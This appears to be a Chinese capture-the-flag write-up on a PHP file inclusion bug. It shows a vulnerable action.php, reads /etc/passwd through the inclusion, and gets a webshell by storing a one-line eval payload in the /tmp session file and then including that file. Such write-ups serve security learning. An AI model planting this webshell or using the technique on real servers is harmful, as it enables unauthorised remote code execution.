开局一个输入框提示输入名字

随便输入进行抓包


很明显是存在一个文件包含漏洞的



先通过base64读取index.php,看看有没有什么有用信息

index.php没什么有用信息

尝试读取下/etc/passwd,是正常的没问题

那么就看看action.php,里面有没有什么有用的东西


action.php的代码如下
php
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
通过action.php我们就可以发现漏洞点
session_start()会出发session机制在/tmp目录下生成要给session缓存文件一般格式的话都是:"sess_" + Cookie中PHPSESSION的值
可以看到下面这段代码会接收name的参数值放入session中
php
$name = $_POST['name'];
if($name){
$_SESSION["username"] = $name;
}
紧接着这句话文件包含
php
include($_GET['file']);
我们就有如下的攻击思路:
使用POST方法通过name参数传递一个一句话------>此时就会在/tmp产生一个文件名可猜的session缓存文件,里面是包含用name参数的的一句话木马------>然后使用file参数将这个缓存文件进行包含,得到webshell
我们先将一句话木马打入session缓存文件,可以多点几次让其生效

php
"<?php @eval($_POST['a']);?>"
然后直接文件包含那个缓存文件即可getshell


或者我们也可以不用蚁剑,直接使用system执行命令,然后包含缓存得到结果
注意着这个过程中,可能要多点几次才能生效,因为要写入session

